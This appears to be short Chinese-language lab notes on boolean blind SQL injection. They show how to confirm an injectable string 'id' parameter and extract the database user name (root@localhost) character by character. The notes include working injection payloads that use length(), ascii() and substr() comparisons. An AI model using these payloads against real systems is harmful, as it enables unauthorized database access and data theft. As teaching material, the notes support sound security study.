1.注入单引号
触发错误,页面为空。
确认id参数为字符串型
2.注入布尔表达式
确认存在sql注入漏洞
3.利用布尔盲注,爆破用户名
查询用户名长度
?id=1' and (select length(user()))=14--+
使用二分法不断猜测长度值,直到页面返回正常
得到用户名长度为14
通过比对ascii码,逐个字符爆破用户名
?id=1' and (select ascii(substr(user(),1,1)))=115--+
......直到14个字符爆破完毕,得到用户名为root@localhost